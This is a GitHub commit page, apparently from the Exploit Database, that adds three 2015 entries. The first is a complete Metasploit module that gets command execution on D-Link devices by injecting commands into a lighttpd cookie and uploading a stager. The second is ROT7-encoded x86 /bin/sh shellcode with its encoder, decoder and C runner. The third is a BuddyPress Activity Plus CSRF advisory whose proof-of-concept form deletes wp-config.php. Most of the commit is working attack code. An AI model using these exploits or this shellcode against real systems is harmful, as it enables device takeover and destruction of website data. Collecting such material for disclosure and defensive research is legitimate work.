Skip to content

Commit e4d0bdd

Browse files
author
Offensive Security
committed
DB: 2015-07-18
3 new exploits
1 parent 5454188 commit e4d0bdd

4 files changed

Lines changed: 321 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33849,6 +33849,7 @@ id,file,description,date,author,platform,type,port
3384933849
37534,platforms/php/webapps/37534.txt,"WordPress Easy2Map Plugin 1.24 - SQL Injection",2015-07-08,"Larry W. Cashdollar",php,webapps,80
3385033850
37535,platforms/windows/local/37535.txt,"Blueberry Express 5.9.0.3678 - SEH Buffer Overflow",2015-07-08,Vulnerability-Lab,windows,local,0
3385133851
37494,platforms/php/webapps/37494.txt,"Wordpress S3Bubble Cloud Video With Adverts & Analytics 0.7 - Arbitrary File Download",2015-07-05,CrashBandicot,php,webapps,0
33852+
37495,platforms/lin_x86/shellcode/37495.py,"Linux x86 /bin/sh ROT7 Encoded Shellcode",2015-07-05,"Artem T",lin_x86,shellcode,0
3385233853
37500,platforms/php/webapps/37500.txt,"Funeral Script PHP Cross Site Scripting and SQL Injection Vulnerabilities",2012-06-17,snup,php,webapps,0
3385333854
37501,platforms/php/webapps/37501.rb,"WordPress Generic Plugin Arbitrary File Upload Vulnerability",2012-07-13,KedAns-Dz,php,webapps,0
3385433855
37502,platforms/php/webapps/37502.txt,"Elite Bulletin Board Multiple SQL Injection Vulnerabilities",2012-07-15,ToXiC,php,webapps,0
@@ -33960,3 +33961,5 @@ id,file,description,date,author,platform,type,port
3396033961
37624,platforms/hardware/webapps/37624.txt,"4 TOTOLINK Router Models - CSRF and XSS Vulnerabilities",2015-07-16,"Pierre Kim",hardware,webapps,0
3396133962
37625,platforms/hardware/webapps/37625.txt,"4 TOTOLINK Router Models - Backdoor Credentials",2015-07-16,"Pierre Kim",hardware,webapps,0
3396233963
37626,platforms/hardware/webapps/37626.txt,"8 TOTOLINK Router Models - Backdoor and RCE",2015-07-16,"Pierre Kim",hardware,webapps,0
33964+
37628,platforms/hardware/remote/37628.rb,"D-Link Cookie Command Execution",2015-07-17,metasploit,hardware,remote,0
33965+
37629,platforms/php/webapps/37629.txt,"WordPress BuddyPress Activity Plus Plugin 1.5 - CSRF Vulnerability",2015-07-17,"Tom Adams",php,webapps,80

‎platforms/hardware/remote/37628.rb‎

Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link Cookie Command Execution',
17+
'Description' => %q{
18+
This module exploits an anonymous remote upload and code execution vulnerability on different
19+
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
20+
lighttpd web server when handling specially crafted cookie values. This module has been
21+
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
22+
},
23+
'Author' =>
24+
[
25+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
26+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'linux',
30+
'References' =>
31+
[
32+
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
33+
],
34+
'DisclosureDate' => 'Jun 12 2015',
35+
'Payload' =>
36+
{
37+
'DisableNops' => true
38+
},
39+
'Targets' =>
40+
[
41+
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target
42+
{
43+
'Platform' => 'linux',
44+
'Arch' => ARCH_MIPSLE
45+
}
46+
],
47+
[ 'MIPS Big Endian',
48+
{
49+
'Platform' => 'linux',
50+
'Arch' => ARCH_MIPSBE
51+
}
52+
]
53+
],
54+
'DefaultTarget' => 1
55+
))
56+
end
57+
58+
def check
59+
begin
60+
res = send_request_cgi({
61+
'uri' => '/',
62+
'method' => 'GET'
63+
})
64+
65+
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
66+
return Exploit::CheckCode::Detected
67+
end
68+
rescue ::Rex::ConnectionError
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
Exploit::CheckCode::Unknown
73+
end
74+
75+
def exploit
76+
print_status("#{peer} - Trying to access the device ...")
77+
78+
unless check == Exploit::CheckCode::Detected
79+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
80+
end
81+
82+
print_status("#{peer} - Uploading stager ...")
83+
@counter = 1
84+
execute_cmdstager(
85+
:flavor => :echo,
86+
:linemax => 95 # limited by our upload, larger payloads crash the web server
87+
)
88+
89+
print_status("#{peer} - creating payload and executing it ...")
90+
91+
(1 .. @counter).each do |act_file|
92+
# the http server blocks access to our files ... we copy it to a new one
93+
# the length of our command is restricted to 19 characters
94+
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
95+
execute_final_command(cmd)
96+
cmd = "chmod +x /tmp/#{act_file+@counter}"
97+
execute_final_command(cmd)
98+
cmd = "/tmp/#{act_file+@counter}"
99+
execute_final_command(cmd)
100+
cmd = "rm /tmp/#{act_file}"
101+
execute_final_command(cmd)
102+
cmd = "rm /tmp/#{act_file+@counter}"
103+
execute_final_command(cmd)
104+
end
105+
end
106+
107+
def execute_command(cmd,opts)
108+
# upload our stager to a shell script
109+
# upload takes quite long because there is no response from the web server
110+
111+
file_upload = "#!/bin/sh\n"
112+
file_upload << cmd << "\n"
113+
114+
post_data = Rex::MIME::Message.new
115+
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
116+
post_data.bound = "-#{rand_text_alpha(12)}--"
117+
file = post_data.to_s
118+
119+
@counter = @counter + 1
120+
121+
begin
122+
send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => "/web_cgi.cgi",
125+
'vars_get' => {
126+
'&request' =>'UploadFile',
127+
'path' => '/tmp/'
128+
},
129+
'encode_params' => false,
130+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
131+
'data' => file
132+
})
133+
rescue ::Rex::ConnectionError
134+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
135+
end
136+
137+
end
138+
139+
def execute_final_command(cmd)
140+
# very limited space - larger commands crash the webserver
141+
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
142+
begin
143+
send_request_cgi({
144+
'method' => 'GET',
145+
'uri' => "/",
146+
'cookie' => "i=`#{cmd}`"
147+
}, 5)
148+
rescue ::Rex::ConnectionError
149+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
150+
end
151+
end
152+
end

‎platforms/lin_x86/shellcode/37495.py‎

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
# Shellcode Title: ROT7
2+
# Date: 5 July 2015
3+
# Exploit Author: Artem Tsvetkov
4+
# Software Link:
5+
https://github.com/adeptex/SLAE/tree/master/Assignment-6/rot7
6+
# Tested on: Kali GNU/Linux 1.1.0
7+
# Platform: x86 Linux
8+
9+
This code was created as an exercise for the SecurityTube Linux Assembly
10+
Expert (SLAE).
11+
12+
The following will produce rot7-encoded shellcode using a custom scheme to
13+
dynamically set the shellcode length. The length is used by the decoder to
14+
determine when it should stop decoding.
15+
16+
17+
18+
19+
#!/usr/bin/python
20+
# Python ROT-7 Encoder
21+
# execve 24 bytes
22+
shellcode = (
23+
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
24+
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
25+
)
26+
27+
# byte[0] == shellcode length
28+
encoded = "\\x%02x," % len(bytearray(shellcode))
29+
encoded2 = "0x%02x," % len(bytearray(shellcode))
30+
31+
print 'Encoded shellcode ...'
32+
33+
for x in bytearray(shellcode) :
34+
# boundary is computed as 255-ROT(x) where x, the amount to rotate by
35+
if x > 248:
36+
encoded += '\\x'
37+
encoded += '%02x' %(7 -(256 - x))
38+
encoded2 += '0x'
39+
encoded2 += '%02x,' %(7 -(256 - x))
40+
else:
41+
encoded += '\\x'
42+
encoded += '%02x'%(x+7)
43+
encoded2 += '0x'
44+
encoded2 += '%02x,' %(x+7)
45+
46+
print '\n%s\n\n%s\n\nShellcode Length: %d\n' % (encoded, encoded2,
47+
len(bytearray(shellcode)))
48+
49+
50+
51+
52+
The following is the NASM decoder:
53+
54+
55+
; ROT7 NASM decoder
56+
global _start
57+
section .text
58+
_start:
59+
jmp short stage
60+
61+
decoder:
62+
pop esi ; shellcode address
63+
mov al, byte [esi] ; shellcode length
64+
xor ecx, ecx ; position
65+
66+
decode:
67+
mov bl, byte [esi+ecx+1] ; get rot'ed byted
68+
sub bl, 0x7 ; rot it back (-7)
69+
mov byte [esi+ecx], bl ; store it in shellcode
70+
inc ecx ; next position
71+
cmp al, cl ; check if reached the end of shellcode
72+
jnz short decode ; if not, continue derot'ing
73+
jmp shellcode ; else, execute derot'ed shellcode
74+
75+
stage:
76+
call decoder
77+
78+
; Shellcode Format:
79+
; byte[0] = length of shellcode (max 0xff)
80+
; byte[1..] = rot'ed shellcode
81+
shellcode: db
82+
0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87
83+
84+
85+
86+
87+
/*
88+
* Sample run
89+
*
90+
* Compile with: gcc rot7.c -o rot7
91+
*
92+
*/
93+
#include<stdio.h>
94+
#include<string.h>
95+
96+
unsigned char code[] = \
97+
"\xeb\x16\x5e\x8a\x06\x31\xc9\x8a\x5c\x0e\x01\x80\xeb\x07\x88\x1c\x0e\x41\x38\xc8\x75\xf1\xeb\x05\xe8\xe5\xff\xff\xff\x18\x38\xc7\x57\x6f\x36\x36\x7a\x6f\x6f\x36\x69\x70\x75\x90\xea\x38\xd0\x90\xd1\x71\x12\x5f\xd4\x87";
98+
99+
int main()
100+
{
101+
printf("Shellcode Length: %d\n", strlen(code));
102+
int (*ret)() = (int(*)())code;
103+
ret();
104+
}

‎platforms/php/webapps/37629.txt‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
Details
2+
================
3+
Software: BuddyPress Activity Plus
4+
Version: 1.5
5+
Homepage: http://wordpress.org/plugins/buddypress-activity-plus/
6+
Advisory report: https://security.dxw.com/advisories/csrf-and-arbitrary-file-deletion-in-buddypress-activity-plus-1-5/
7+
CVE: Awaiting assignment
8+
CVSS: 8.5 (High; AV:N/AC:L/Au:N/C:N/I:P/A:C)
9+
10+
Description
11+
================
12+
CSRF and arbitrary file deletion in BuddyPress Activity Plus 1.5
13+
14+
Vulnerability
15+
================
16+
An attacker can delete any file the PHP process can delete.
17+
For this to happen, a logged-in user would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.
18+
19+
Proof of concept
20+
================
21+
Ensure your PHP user can do maximum damage:
22+
sudo chown www-data:www-data /var/vhosts/my-wordpress-site
23+
Visit a page containing this as a logged-in user and click submit:
24+
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
25+
<input type=\"text\" name=\"action\" value=\"bpfb_remove_temp_images\">
26+
<input type=\"text\" name=\"data\" value=\"bpfb_photos[]=../../../../wp-config.php\">
27+
<input type=\"submit\">
28+
</form>
29+
If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.
30+
Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.
31+
There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.
32+
33+
Mitigations
34+
================
35+
Upgrade to version 1.6.2 or later
36+
If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.
37+
38+
Disclosure policy
39+
================
40+
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
41+
42+
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
43+
44+
This vulnerability will be published if we do not receive a response to this report with 14 days.
45+
46+
Timeline
47+
================
48+
49+
2013-08-22: Discovered
50+
2015-07-13: Reported to vendor via contact form at https://premium.wpmudev.org/contact/
51+
2015-07-13: Requested CVE
52+
2015-07-13: Vendor responded
53+
2015-07-14: Vendor reported issue fixed
54+
2015-07-14: Published
55+
56+
57+
58+
Discovered by dxw:
59+
================
60+
Tom Adams
61+
Please visit security.dxw.com for more information.
62+

0 commit comments

Comments
 (0)